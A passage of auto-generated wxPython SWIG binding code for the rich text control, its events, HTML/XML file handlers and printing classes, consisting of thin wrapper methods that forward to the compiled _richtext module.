kind. If any of the attributes are different within the range, the\n test fails. You can use this to implement, for example, bold button\n updating. ``style`` must have flags indicating which attributes are of\n interest.\n\n \"\"\"\n return _richtext.RichTextCtrl_HasCharacterAttributes(*args, **kwargs)\n\n def HasParagraphAttributes(*args, **kwargs):\n \"\"\"\n HasParagraphAttributes(self, RichTextRange range, TextAttrEx style) -> bool\n\n Test if this whole range has paragraph attributes of the specified\n kind. If any of the attributes are different within the range, the\n test fails. You can use this to implement, for example, centering\n button updating. style must have flags indicating which attributes are\n of interest.\n\n \"\"\"\n return _richtext.RichTextCtrl_HasParagraphAttributes(*args, **kwargs)\n\n def IsSelectionBold(*args, **kwargs):\n \"\"\"\n IsSelectionBold(self) -> bool\n\n Is all of the selection bold?\n \"\"\"\n return _richtext.RichTextCtrl_IsSelectionBold(*args, **kwargs)\n\n def IsSelectionItalics(*args, **kwargs):\n \"\"\"\n IsSelectionItalics(self) -> bool\n\n Is all of the selection italics?\n \"\"\"\n return _richtext.RichTextCtrl_IsSelectionItalics(*args, **kwargs)\n\n def IsSelectionUnderlined(*args, **kwargs):\n \"\"\"\n IsSelectionUnderlined(self) -> bool\n\n Is all of the selection underlined?\n \"\"\"\n return _richtext.RichTextCtrl_IsSelectionUnderlined(*args, **kwargs)\n\n def IsSelectionAligned(*args, **kwargs):\n \"\"\"\n IsSelectionAligned(self, int alignment) -> bool\n\n Is all of the selection aligned according to the specified flag?\n \"\"\"\n return _richtext.RichTextCtrl_IsSelectionAligned(*args, **kwargs)\n\n def ApplyBoldToSelection(*args, **kwargs):\n \"\"\"\n ApplyBoldToSelection(self) -> bool\n\n Apply bold to the selection\n \"\"\"\n return _richtext.RichTextCtrl_ApplyBoldToSelection(*args, **kwargs)\n\n def ApplyItalicToSelection(*args, **kwargs):\n \"\"\"\n ApplyItalicToSelection(self) -> bool\n\n Apply italic to the selection\n \"\"\"\n return _richtext.RichTextCtrl_ApplyItalicToSelection(*args, **kwargs)\n\n def ApplyUnderlineToSelection(*args, **kwargs):\n \"\"\"\n ApplyUnderlineToSelection(self) -> bool\n\n Apply underline to the selection\n \"\"\"\n return _richtext.RichTextCtrl_ApplyUnderlineToSelection(*args, **kwargs)\n\n def ApplyAlignmentToSelection(*args, **kwargs):\n \"\"\"\n ApplyAlignmentToSelection(self, int alignment) -> bool\n\n Apply alignment to the selection\n \"\"\"\n return _richtext.RichTextCtrl_ApplyAlignmentToSelection(*args, **kwargs)\n\n def ApplyStyle(*args, **kwargs):\n \"\"\"\n ApplyStyle(self, wxRichTextStyleDefinition def) -> bool\n\n Apply a named style to the selection\n \"\"\"\n return _richtext.RichTextCtrl_ApplyStyle(*args, **kwargs)\n\n def SetStyleSheet(*args, **kwargs):\n \"\"\"\n SetStyleSheet(self, wxRichTextStyleSheet styleSheet)\n\n Set style sheet, if any.\n \"\"\"\n return _richtext.RichTextCtrl_SetStyleSheet(*args, **kwargs)\n\n def GetStyleSheet(*args, **kwargs):\n \"\"\"GetStyleSheet(self) -> wxRichTextStyleSheet\"\"\"\n return _richtext.RichTextCtrl_GetStyleSheet(*args, **kwargs)\n\n def PushStyleSheet(*args, **kwargs):\n \"\"\"\n PushStyleSheet(self, wxRichTextStyleSheet styleSheet) -> bool\n\n Push style sheet to top of stack\n \"\"\"\n return _richtext.RichTextCtrl_PushStyleSheet(*args, **kwargs)\n\n def PopStyleSheet(*args, **kwargs):\n \"\"\"\n PopStyleSheet(self) -> wxRichTextStyleSheet\n\n Pop style sheet from top of stack\n \"\"\"\n return _richtext.RichTextCtrl_PopStyleSheet(*args, **kwargs)\n\n def ApplyStyleSheet(*args, **kwargs):\n \"\"\"\n ApplyStyleSheet(self, wxRichTextStyleSheet styleSheet=None) -> bool\n\n Apply the style sheet to the buffer, for example if the styles have\n changed.\n \"\"\"\n return _richtext.RichTextCtrl_ApplyStyleSheet(*args, **kwargs)\n\n Buffer = property(GetBuffer,doc=\"See `GetBuffer`\") \n DefaultStyle = property(GetDefaultStyle,SetDefaultStyle,doc=\"See `GetDefaultStyle` and `SetDefaultStyle`\") \n DelayedLayoutThreshold = property(GetDelayedLayoutThreshold,SetDelayedLayoutThreshold,doc=\"See `GetDelayedLayoutThreshold` and `SetDelayedLayoutThreshold`\") \n Filename = property(GetFilename,SetFilename,doc=\"See `GetFilename` and `SetFilename`\") \n InsertionPoint = property(GetInsertionPoint,SetInsertionPoint,doc=\"See `GetInsertionPoint` and `SetInsertionPoint`\") \n InternalSelectionRange = property(GetInternalSelectionRange,SetInternalSelectionRange,doc=\"See `GetInternalSelectionRange` and `SetInternalSelectionRange`\") \n LastPosition = property(GetLastPosition,doc=\"See `GetLastPosition`\") \n NumberOfLines = property(GetNumberOfLines,doc=\"See `GetNumberOfLines`\") \n Selection = property(GetSelection,SetSelectionRange,doc=\"See `GetSelection` and `SetSelection`\") \n SelectionRange = property(GetSelectionRange,SetSelectionRange,doc=\"See `GetSelectionRange` and `SetSelectionRange`\") \n StringSelection = property(GetStringSelection,doc=\"See `GetStringSelection`\") \n StyleSheet = property(GetStyleSheet,SetStyleSheet,doc=\"See `GetStyleSheet` and `SetStyleSheet`\") \n Value = property(GetValue,SetValue,doc=\"See `GetValue` and `SetValue`\") \n def SetupScrollbars(*args, **kwargs):\n \"\"\"SetupScrollbars(self, bool atTop=False)\"\"\"\n return _richtext.RichTextCtrl_SetupScrollbars(*args, **kwargs)\n\n def KeyboardNavigate(*args, **kwargs):\n \"\"\"KeyboardNavigate(self, int keyCode, int flags) -> bool\"\"\"\n return _richtext.RichTextCtrl_KeyboardNavigate(*args, **kwargs)\n\n def PositionCaret(*args, **kwargs):\n \"\"\"PositionCaret(self)\"\"\"\n return _richtext.RichTextCtrl_PositionCaret(*args, **kwargs)\n\n def ExtendSelection(*args, **kwargs):\n \"\"\"ExtendSelection(self, long oldPosition, long newPosition, int flags) -> bool\"\"\"\n return _richtext.RichTextCtrl_ExtendSelection(*args, **kwargs)\n\n def ScrollIntoView(*args, **kwargs):\n \"\"\"ScrollIntoView(self, long position, int keyCode) -> bool\"\"\"\n return _richtext.RichTextCtrl_ScrollIntoView(*args, **kwargs)\n\n def SetCaretPosition(*args, **kwargs):\n \"\"\"SetCaretPosition(self, long position, bool showAtLineStart=False)\"\"\"\n return _richtext.RichTextCtrl_SetCaretPosition(*args, **kwargs)\n\n def GetCaretPosition(*args, **kwargs):\n \"\"\"GetCaretPosition(self) -> long\"\"\"\n return _richtext.RichTextCtrl_GetCaretPosition(*args, **kwargs)\n\n def GetAdjustedCaretPosition(*args, **kwargs):\n \"\"\"GetAdjustedCaretPosition(self, long caretPos) -> long\"\"\"\n return _richtext.RichTextCtrl_GetAdjustedCaretPosition(*args, **kwargs)\n\n def MoveCaretForward(*args, **kwargs):\n \"\"\"MoveCaretForward(self, long oldPosition)\"\"\"\n return _richtext.RichTextCtrl_MoveCaretForward(*args, **kwargs)\n\n def MoveCaretBack(*args, **kwargs):\n \"\"\"MoveCaretBack(self, long oldPosition)\"\"\"\n return _richtext.RichTextCtrl_MoveCaretBack(*args, **kwargs)\n\n def GetCaretPositionForIndex(*args, **kwargs):\n \"\"\"GetCaretPositionForIndex(self, long position, Rect rect) -> bool\"\"\"\n return _richtext.RichTextCtrl_GetCaretPositionForIndex(*args, **kwargs)\n\n def GetVisibleLineForCaretPosition(*args, **kwargs):\n \"\"\"GetVisibleLineForCaretPosition(self, long caretPosition) -> RichTextLine\"\"\"\n return _richtext.RichTextCtrl_GetVisibleLineForCaretPosition(*args, **kwargs)\n\n def GetCommandProcessor(*args, **kwargs):\n \"\"\"GetCommandProcessor(self) -> wxCommandProcessor\"\"\"\n return _richtext.RichTextCtrl_GetCommandProcessor(*args, **kwargs)\n\n def DeleteSelectedContent(*args, **kwargs):\n \"\"\"DeleteSelectedContent(self, long OUTPUT) -> bool\"\"\"\n return _richtext.RichTextCtrl_DeleteSelectedContent(*args, **kwargs)\n\n def GetPhysicalPoint(*args, **kwargs):\n \"\"\"GetPhysicalPoint(self, Point ptLogical) -> Point\"\"\"\n return _richtext.RichTextCtrl_GetPhysicalPoint(*args, **kwargs)\n\n def GetLogicalPoint(*args, **kwargs):\n \"\"\"GetLogicalPoint(self, Point ptPhysical) -> Point\"\"\"\n return _richtext.RichTextCtrl_GetLogicalPoint(*args, **kwargs)\n\n def FindNextWordPosition(*args, **kwargs):\n \"\"\"FindNextWordPosition(self, int direction=1) -> long\"\"\"\n return _richtext.RichTextCtrl_FindNextWordPosition(*args, **kwargs)\n\n def IsPositionVisible(*args, **kwargs):\n \"\"\"IsPositionVisible(self, long pos) -> bool\"\"\"\n return _richtext.RichTextCtrl_IsPositionVisible(*args, **kwargs)\n\n def GetFirstVisiblePosition(*args, **kwargs):\n \"\"\"GetFirstVisiblePosition(self) -> long\"\"\"\n return _richtext.RichTextCtrl_GetFirstVisiblePosition(*args, **kwargs)\n\n def GetCaretPositionForDefaultStyle(*args, **kwargs):\n \"\"\"GetCaretPositionForDefaultStyle(self) -> long\"\"\"\n return _richtext.RichTextCtrl_GetCaretPositionForDefaultStyle(*args, **kwargs)\n\n def SetCaretPositionForDefaultStyle(*args, **kwargs):\n \"\"\"SetCaretPositionForDefaultStyle(self, long pos)\"\"\"\n return _richtext.RichTextCtrl_SetCaretPositionForDefaultStyle(*args, **kwargs)\n\n def IsDefaultStyleShowing(*args, **kwargs):\n \"\"\"IsDefaultStyleShowing(self) -> bool\"\"\"\n return _richtext.RichTextCtrl_IsDefaultStyleShowing(*args, **kwargs)\n\n def SetAndShowDefaultStyle(*args, **kwargs):\n \"\"\"SetAndShowDefaultStyle(self, wxRichTextAttr attr)\"\"\"\n return _richtext.RichTextCtrl_SetAndShowDefaultStyle(*args, **kwargs)\n\n def GetFirstVisiblePoint(*args, **kwargs):\n \"\"\"GetFirstVisiblePoint(self) -> Point\"\"\"\n return _richtext.RichTextCtrl_GetFirstVisiblePoint(*args, **kwargs)\n\n def SetScrollbars(*args, **kwargs):\n \"\"\"\n SetScrollbars(self, int pixelsPerUnitX, int pixelsPerUnitY, int noUnitsX, \n int noUnitsY, int xPos=0, int yPos=0, bool noRefresh=False)\n \"\"\"\n return _richtext.RichTextCtrl_SetScrollbars(*args, **kwargs)\n\n def Scroll(*args, **kwargs):\n \"\"\"Scroll(self, int x, int y)\"\"\"\n return _richtext.RichTextCtrl_Scroll(*args, **kwargs)\n\n def GetScrollPageSize(*args, **kwargs):\n \"\"\"GetScrollPageSize(self, int orient) -> int\"\"\"\n return _richtext.RichTextCtrl_GetScrollPageSize(*args, **kwargs)\n\n def SetScrollPageSize(*args, **kwargs):\n \"\"\"SetScrollPageSize(self, int orient, int pageSize)\"\"\"\n return _richtext.RichTextCtrl_SetScrollPageSize(*args, **kwargs)\n\n def SetScrollRate(*args, **kwargs):\n \"\"\"SetScrollRate(self, int xstep, int ystep)\"\"\"\n return _richtext.RichTextCtrl_SetScrollRate(*args, **kwargs)\n\n def GetScrollPixelsPerUnit(*args, **kwargs):\n \"\"\"\n GetScrollPixelsPerUnit() -> (xUnit, yUnit)\n\n Get the size of one logical unit in physical units.\n \"\"\"\n return _richtext.RichTextCtrl_GetScrollPixelsPerUnit(*args, **kwargs)\n\n def EnableScrolling(*args, **kwargs):\n \"\"\"EnableScrolling(self, bool x_scrolling, bool y_scrolling)\"\"\"\n return _richtext.RichTextCtrl_EnableScrolling(*args, **kwargs)\n\n def GetViewStart(*args, **kwargs):\n \"\"\"\n GetViewStart() -> (x,y)\n\n Get the view start\n \"\"\"\n return _richtext.RichTextCtrl_GetViewStart(*args, **kwargs)\n\n def SetScale(*args, **kwargs):\n \"\"\"SetScale(self, double xs, double ys)\"\"\"\n return _richtext.RichTextCtrl_SetScale(*args, **kwargs)\n\n def GetScaleX(*args, **kwargs):\n \"\"\"GetScaleX(self) -> double\"\"\"\n return _richtext.RichTextCtrl_GetScaleX(*args, **kwargs)\n\n def GetScaleY(*args, **kwargs):\n \"\"\"GetScaleY(self) -> double\"\"\"\n return _richtext.RichTextCtrl_GetScaleY(*args, **kwargs)\n\n def CalcScrolledPosition(*args):\n \"\"\"\n CalcScrolledPosition(self, Point pt) -> Point\n CalcScrolledPosition(int x, int y) -> (sx, sy)\n\n Translate between scrolled and unscrolled coordinates.\n \"\"\"\n return _richtext.RichTextCtrl_CalcScrolledPosition(*args)\n\n def CalcUnscrolledPosition(*args):\n \"\"\"\n CalcUnscrolledPosition(self, Point pt) -> Point\n CalcUnscrolledPosition(int x, int y) -> (ux, uy)\n\n Translate between scrolled and unscrolled coordinates.\n \"\"\"\n return _richtext.RichTextCtrl_CalcUnscrolledPosition(*args)\n\n def AdjustScrollbars(*args, **kwargs):\n \"\"\"AdjustScrollbars(self)\"\"\"\n return _richtext.RichTextCtrl_AdjustScrollbars(*args, **kwargs)\n\n def CalcScrollInc(*args, **kwargs):\n \"\"\"CalcScrollInc(self, ScrollWinEvent event) -> int\"\"\"\n return _richtext.RichTextCtrl_CalcScrollInc(*args, **kwargs)\n\n def SetTargetWindow(*args, **kwargs):\n \"\"\"SetTargetWindow(self, Window target)\"\"\"\n return _richtext.RichTextCtrl_SetTargetWindow(*args, **kwargs)\n\n def GetTargetWindow(*args, **kwargs):\n \"\"\"GetTargetWindow(self) -> Window\"\"\"\n return _richtext.RichTextCtrl_GetTargetWindow(*args, **kwargs)\n\n def SetTargetRect(*args, **kwargs):\n \"\"\"SetTargetRect(self, Rect rect)\"\"\"\n return _richtext.RichTextCtrl_SetTargetRect(*args, **kwargs)\n\n def GetTargetRect(*args, **kwargs):\n \"\"\"GetTargetRect(self) -> Rect\"\"\"\n return _richtext.RichTextCtrl_GetTargetRect(*args, **kwargs)\n\n def IsEmpty(*args, **kwargs):\n \"\"\"IsEmpty(self) -> bool\"\"\"\n return _richtext.RichTextCtrl_IsEmpty(*args, **kwargs)\n\n def ChangeValue(*args, **kwargs):\n \"\"\"ChangeValue(self, String value)\"\"\"\n return _richtext.RichTextCtrl_ChangeValue(*args, **kwargs)\n\n def SetModified(*args, **kwargs):\n \"\"\"SetModified(self, bool modified)\"\"\"\n return _richtext.RichTextCtrl_SetModified(*args, **kwargs)\n\n def EmulateKeyPress(*args, **kwargs):\n \"\"\"EmulateKeyPress(self, KeyEvent event) -> bool\"\"\"\n return _richtext.RichTextCtrl_EmulateKeyPress(*args, **kwargs)\n\n_richtext.RichTextCtrl_swigregister(RichTextCtrl)\nRichTextCtrlNameStr = cvar.RichTextCtrlNameStr\n\ndef PreRichTextCtrl(*args, **kwargs):\n \"\"\"PreRichTextCtrl() -> RichTextCtrl\"\"\"\n val = _richtext.new_PreRichTextCtrl(*args, **kwargs)\n return val\n\n#---------------------------------------------------------------------------\n\nwxEVT_COMMAND_RICHTEXT_LEFT_CLICK = _richtext.wxEVT_COMMAND_RICHTEXT_LEFT_CLICK\nwxEVT_COMMAND_RICHTEXT_RIGHT_CLICK = _richtext.wxEVT_COMMAND_RICHTEXT_RIGHT_CLICK\nwxEVT_COMMAND_RICHTEXT_MIDDLE_CLICK = _richtext.wxEVT_COMMAND_RICHTEXT_MIDDLE_CLICK\nwxEVT_COMMAND_RICHTEXT_LEFT_DCLICK = _richtext.wxEVT_COMMAND_RICHTEXT_LEFT_DCLICK\nwxEVT_COMMAND_RICHTEXT_RETURN = _richtext.wxEVT_COMMAND_RICHTEXT_RETURN\nwxEVT_COMMAND_RICHTEXT_CHARACTER = _richtext.wxEVT_COMMAND_RICHTEXT_CHARACTER\nwxEVT_COMMAND_RICHTEXT_DELETE = _richtext.wxEVT_COMMAND_RICHTEXT_DELETE\nwxEVT_COMMAND_RICHTEXT_STYLESHEET_CHANGING = _richtext.wxEVT_COMMAND_RICHTEXT_STYLESHEET_CHANGING\nwxEVT_COMMAND_RICHTEXT_STYLESHEET_CHANGED = _richtext.wxEVT_COMMAND_RICHTEXT_STYLESHEET_CHANGED\nwxEVT_COMMAND_RICHTEXT_STYLESHEET_REPLACING = _richtext.wxEVT_COMMAND_RICHTEXT_STYLESHEET_REPLACING\nwxEVT_COMMAND_RICHTEXT_STYLESHEET_REPLACED = _richtext.wxEVT_COMMAND_RICHTEXT_STYLESHEET_REPLACED\nwxEVT_COMMAND_RICHTEXT_CONTENT_INSERTED = _richtext.wxEVT_COMMAND_RICHTEXT_CONTENT_INSERTED\nwxEVT_COMMAND_RICHTEXT_CONTENT_DELETED = _richtext.wxEVT_COMMAND_RICHTEXT_CONTENT_DELETED\nwxEVT_COMMAND_RICHTEXT_STYLE_CHANGED = _richtext.wxEVT_COMMAND_RICHTEXT_STYLE_CHANGED\nwxEVT_COMMAND_RICHTEXT_SELECTION_CHANGED = _richtext.wxEVT_COMMAND_RICHTEXT_SELECTION_CHANGED\nEVT_RICHTEXT_LEFT_CLICK = wx.PyEventBinder(wxEVT_COMMAND_RICHTEXT_LEFT_CLICK, 1)\nEVT_RICHTEXT_RIGHT_CLICK = wx.PyEventBinder(wxEVT_COMMAND_RICHTEXT_RIGHT_CLICK, 1)\nEVT_RICHTEXT_MIDDLE_CLICK = wx.PyEventBinder(wxEVT_COMMAND_RICHTEXT_MIDDLE_CLICK, 1)\nEVT_RICHTEXT_LEFT_DCLICK = wx.PyEventBinder(wxEVT_COMMAND_RICHTEXT_LEFT_DCLICK, 1)\nEVT_RICHTEXT_RETURN = wx.PyEventBinder( wxEVT_COMMAND_RICHTEXT_RETURN, 1)\nEVT_RICHTEXT_CHARACTER = wx.PyEventBinder( wxEVT_COMMAND_RICHTEXT_CHARACTER, 1)\nEVT_RICHTEXT_DELETE = wx.PyEventBinder( wxEVT_COMMAND_RICHTEXT_DELETE, 1)\n\nEVT_RICHTEXT_STYLESHEET_CHANGING = wx.PyEventBinder( wxEVT_COMMAND_RICHTEXT_STYLESHEET_CHANGING, 1)\nEVT_RICHTEXT_STYLESHEET_CHANGED = wx.PyEventBinder( wxEVT_COMMAND_RICHTEXT_STYLESHEET_CHANGED, 1)\nEVT_RICHTEXT_STYLESHEET_REPLACING = wx.PyEventBinder( wxEVT_COMMAND_RICHTEXT_STYLESHEET_REPLACING, 1)\nEVT_RICHTEXT_STYLESHEET_REPLACED = wx.PyEventBinder( wxEVT_COMMAND_RICHTEXT_STYLESHEET_REPLACED, 1)\n\nEVT_RICHTEXT_CONTENT_INSERTED = wx.PyEventBinder( wxEVT_COMMAND_RICHTEXT_CONTENT_INSERTED, 1)\nEVT_RICHTEXT_CONTENT_DELETED = wx.PyEventBinder( wxEVT_COMMAND_RICHTEXT_CONTENT_DELETED, 1)\nEVT_RICHTEXT_STYLE_CHANGED = wx.PyEventBinder( wxEVT_COMMAND_RICHTEXT_STYLE_CHANGED, 1)\nEVT_RICHTEXT_SELECTION_CHANGED = wx.PyEventBinder( wxEVT_COMMAND_RICHTEXT_SELECTION_CHANGED, 1) \n\nclass RichTextEvent(_core.NotifyEvent):\n \"\"\"Proxy of C++ RichTextEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, EventType commandType=wxEVT_NULL, int winid=0) -> RichTextEvent\"\"\"\n _richtext.RichTextEvent_swiginit(self,_richtext.new_RichTextEvent(*args, **kwargs))\n def GetPosition(*args, **kwargs):\n \"\"\"GetPosition(self) -> int\"\"\"\n return _richtext.RichTextEvent_GetPosition(*args, **kwargs)\n\n def SetPosition(*args, **kwargs):\n \"\"\"SetPosition(self, int n)\"\"\"\n return _richtext.RichTextEvent_SetPosition(*args, **kwargs)\n\n def GetFlags(*args, **kwargs):\n \"\"\"GetFlags(self) -> int\"\"\"\n return _richtext.RichTextEvent_GetFlags(*args, **kwargs)\n\n def SetFlags(*args, **kwargs):\n \"\"\"SetFlags(self, int flags)\"\"\"\n return _richtext.RichTextEvent_SetFlags(*args, **kwargs)\n\n def GetOldStyleSheet(*args, **kwargs):\n \"\"\"GetOldStyleSheet(self) -> wxRichTextStyleSheet\"\"\"\n return _richtext.RichTextEvent_GetOldStyleSheet(*args, **kwargs)\n\n def SetOldStyleSheet(*args, **kwargs):\n \"\"\"SetOldStyleSheet(self, wxRichTextStyleSheet sheet)\"\"\"\n return _richtext.RichTextEvent_SetOldStyleSheet(*args, **kwargs)\n\n def GetNewStyleSheet(*args, **kwargs):\n \"\"\"GetNewStyleSheet(self) -> wxRichTextStyleSheet\"\"\"\n return _richtext.RichTextEvent_GetNewStyleSheet(*args, **kwargs)\n\n def SetNewStyleSheet(*args, **kwargs):\n \"\"\"SetNewStyleSheet(self, wxRichTextStyleSheet sheet)\"\"\"\n return _richtext.RichTextEvent_SetNewStyleSheet(*args, **kwargs)\n\n def GetRange(*args, **kwargs):\n \"\"\"GetRange(self) -> RichTextRange\"\"\"\n return _richtext.RichTextEvent_GetRange(*args, **kwargs)\n\n def SetRange(*args, **kwargs):\n \"\"\"SetRange(self, RichTextRange range)\"\"\"\n return _richtext.RichTextEvent_SetRange(*args, **kwargs)\n\n def GetCharacter(*args, **kwargs):\n \"\"\"GetCharacter(self) -> wxChar\"\"\"\n return _richtext.RichTextEvent_GetCharacter(*args, **kwargs)\n\n def SetCharacter(*args, **kwargs):\n \"\"\"SetCharacter(self, wxChar ch)\"\"\"\n return _richtext.RichTextEvent_SetCharacter(*args, **kwargs)\n\n Flags = property(GetFlags,SetFlags) \n Index = property(GetPosition,SetPosition) \n OldStyleSheet = property(GetOldStyleSheet,SetOldStyleSheet) \n NewStyleSheet = property(GetNewStyleSheet,SetNewStyleSheet) \n Range = property(GetRange,SetRange) \n Character = property(GetCharacter,SetCharacter) \n_richtext.RichTextEvent_swigregister(RichTextEvent)\n\n#---------------------------------------------------------------------------\n\nclass RichTextHTMLHandler(RichTextFileHandler):\n \"\"\"Proxy of C++ RichTextHTMLHandler class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, String name=HtmlName, String ext=HtmlExt, int type=RICHTEXT_TYPE_HTML) -> RichTextHTMLHandler\"\"\"\n _richtext.RichTextHTMLHandler_swiginit(self,_richtext.new_RichTextHTMLHandler(*args, **kwargs))\n def SetTemporaryImageLocations(*args, **kwargs):\n \"\"\"\n SetTemporaryImageLocations(self, wxArrayString locations)\n\n Set the list of image locations generated by the last operation\n \"\"\"\n return _richtext.RichTextHTMLHandler_SetTemporaryImageLocations(*args, **kwargs)\n\n def GetTemporaryImageLocations(*args, **kwargs):\n \"\"\"\n GetTemporaryImageLocations(self) -> wxArrayString\n\n Get the list of image locations generated by the last operation\n \"\"\"\n return _richtext.RichTextHTMLHandler_GetTemporaryImageLocations(*args, **kwargs)\n\n TemporaryImageLocations = property(GetTemporaryImageLocations,SetTemporaryImageLocations) \n def ClearTemporaryImageLocations(*args, **kwargs):\n \"\"\"\n ClearTemporaryImageLocations(self)\n\n Clear the image locations generated by the last operation\n \"\"\"\n return _richtext.RichTextHTMLHandler_ClearTemporaryImageLocations(*args, **kwargs)\n\n def DeleteTemporaryImages(*args, **kwargs):\n \"\"\"\n DeleteTemporaryImages(self) -> bool\n\n Delete the in-memory or temporary files generated by the last operation\n \"\"\"\n return _richtext.RichTextHTMLHandler_DeleteTemporaryImages(*args, **kwargs)\n\n def SetFileCounter(*args, **kwargs):\n \"\"\"\n SetFileCounter(int counter)\n\n Reset the file counter, in case, for example, the same names are required each\n time\n \"\"\"\n return _richtext.RichTextHTMLHandler_SetFileCounter(*args, **kwargs)\n\n SetFileCounter = staticmethod(SetFileCounter)\n def SetTempDir(*args, **kwargs):\n \"\"\"\n SetTempDir(self, String tempDir)\n\n Set the directory for storing temporary files. If empty, the system temporary\n directory will be used.\n \"\"\"\n return _richtext.RichTextHTMLHandler_SetTempDir(*args, **kwargs)\n\n def GetTempDir(*args, **kwargs):\n \"\"\"\n GetTempDir(self) -> String\n\n Get the directory for storing temporary files. If empty, the system temporary\n directory will be used.\n \"\"\"\n return _richtext.RichTextHTMLHandler_GetTempDir(*args, **kwargs)\n\n TempDir = property(GetTempDir,SetTempDir) \n def SetFontSizeMapping(*args, **kwargs):\n \"\"\"\n SetFontSizeMapping(self, wxArrayInt fontSizeMapping)\n\n Set mapping from point size to HTML font size. There should be 7 elements, one\n for each HTML font size, each element specifying the maximum point size for\n that HTML font size. E.g. 8, 10, 13, 17, 22, 29, 100\n\n \"\"\"\n return _richtext.RichTextHTMLHandler_SetFontSizeMapping(*args, **kwargs)\n\n def GetFontSizeMapping(*args, **kwargs):\n \"\"\"\n GetFontSizeMapping(self) -> wxArrayInt\n\n Get mapping deom point size to HTML font size.\n \"\"\"\n return _richtext.RichTextHTMLHandler_GetFontSizeMapping(*args, **kwargs)\n\n FontSizeMapping = property(GetFontSizeMapping,SetFontSizeMapping) \n_richtext.RichTextHTMLHandler_swigregister(RichTextHTMLHandler)\nHtmlName = cvar.HtmlName\nHtmlExt = cvar.HtmlExt\n\ndef RichTextHTMLHandler_SetFileCounter(*args, **kwargs):\n \"\"\"\n RichTextHTMLHandler_SetFileCounter(int counter)\n\n Reset the file counter, in case, for example, the same names are required each\n time\n \"\"\"\n return _richtext.RichTextHTMLHandler_SetFileCounter(*args, **kwargs)\n\n#---------------------------------------------------------------------------\n\nclass RichTextXMLHandler(RichTextFileHandler):\n \"\"\"Proxy of C++ RichTextXMLHandler class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, String name=XmlName, String ext=XmlExt, int type=RICHTEXT_TYPE_XML) -> RichTextXMLHandler\"\"\"\n _richtext.RichTextXMLHandler_swiginit(self,_richtext.new_RichTextXMLHandler(*args, **kwargs))\n_richtext.RichTextXMLHandler_swigregister(RichTextXMLHandler)\nXmlName = cvar.XmlName\nXmlExt = cvar.XmlExt\n\n#---------------------------------------------------------------------------\n\nRICHTEXT_PRINT_MAX_PAGES = _richtext.RICHTEXT_PRINT_MAX_PAGES\nRICHTEXT_PAGE_ODD = _richtext.RICHTEXT_PAGE_ODD\nRICHTEXT_PAGE_EVEN = _richtext.RICHTEXT_PAGE_EVEN\nRICHTEXT_PAGE_ALL = _richtext.RICHTEXT_PAGE_ALL\nRICHTEXT_PAGE_LEFT = _richtext.RICHTEXT_PAGE_LEFT\nRICHTEXT_PAGE_CENTRE = _richtext.RICHTEXT_PAGE_CENTRE\nRICHTEXT_PAGE_RIGHT = _richtext.RICHTEXT_PAGE_RIGHT\nclass RichTextPrintout(_windows.Printout):\n \"\"\"Proxy of C++ RichTextPrintout class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, String title=wxT(\"Printout\")) -> RichTextPrintout\"\"\"\n _richtext.RichTextPrintout_swiginit(self,_richtext.new_RichTextPrintout(*args, **kwargs))\n __swig_destroy__ = _richtext.delete_RichTextPrintout\n __del__ = lambda self : None;\n def SetRichTextBuffer(*args, **kwargs):\n \"\"\"SetRichTextBuffer(self, RichTextBuffer buffer)\"\"\"\n return _richtext.RichTextPrintout_SetRichTextBuffer(*args, **kwargs)\n\n def GetRichTextBuffer(*args, **kwargs):\n \"\"\"GetRichTextBuffer(self) -> RichTextBuffer\"\"\"\n return _richtext.RichTextPrintout_GetRichTextBuffer(*args, **kwargs)\n\n def SetHeaderFooterData(*args, **kwargs):\n \"\"\"SetHeaderFooterData(self, wxRichTextHeaderFooterData data)\"\"\"\n return _richtext.RichTextPrintout_SetHeaderFooterData(*args, **kwargs)\n\n def GetHeaderFooterData(*args, **kwargs):\n \"\"\"GetHeaderFooterData(self) -> wxRichTextHeaderFooterData\"\"\"\n return _richtext.RichTextPrintout_GetHeaderFooterData(*args, **kwargs)\n\n def SetMargins(*args, **kwargs):\n \"\"\"SetMargins(self, int top=254, int bottom=254, int left=254, int right=254)\"\"\"\n return _richtext.RichTextPrintout_SetMargins(*args, **kwargs)\n\n def CalculateScaling(*args, **kwargs):\n \"\"\"CalculateScaling(self, DC dc, Rect textRect, Rect headerRect, Rect footerRect)\"\"\"\n return _richtext.RichTextPrintout_CalculateScaling(*args, **kwargs)\n\n_richtext.RichTextPrintout_swigregister(RichTextPrintout)\n\nclass RichTextPrinting(_core.Object):\n \"\"\"Proxy of C++ RichTextPrinting class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, String name=wxT(\"Printing\"), Window parentWindow=None) -> RichTextPrinting\"\"\"\n _richtext.RichTextPrinting_swiginit(self,_richtext.new_RichTextPrinting(*args, **kwargs))\n __swig_destroy__ = _richtext.delete_RichTextPrinting\n __del__ = lambda self : None;\n def PreviewFile(*args, **kwargs):\n \"\"\"PreviewFile(self, String richTextFile) -> bool\"\"\"\n return _richtext.RichTextPrinting_PreviewFile(*args, **kwargs)\n\n def PreviewBuffer(*args, **kwargs):\n \"\"\"PreviewBuffer(self, RichTextBuffer buffer) -> bool\"\"\"\n return _richtext.RichTextPrinting_PreviewBuffer(*args, **kwargs)\n\n def PrintFile(*args, **kwargs):\n \"\"\"PrintFile(self, String richTextFile) -> bool\"\"\"\n return _richtext.RichTextPrinting_PrintFile(*args, **kwargs)\n\n def PrintBuffer(*args, **kwargs):\n \"\"\"PrintBuffer(self, RichTextBuffer buffer) -> bool\"\"\"\n return _richtext.RichTextPrinting_PrintBuffer(*args, **kwargs)\n\n def PageSetup(*args, **kwargs):\n \"\"\"PageSetup(self)\"\"\"\n return 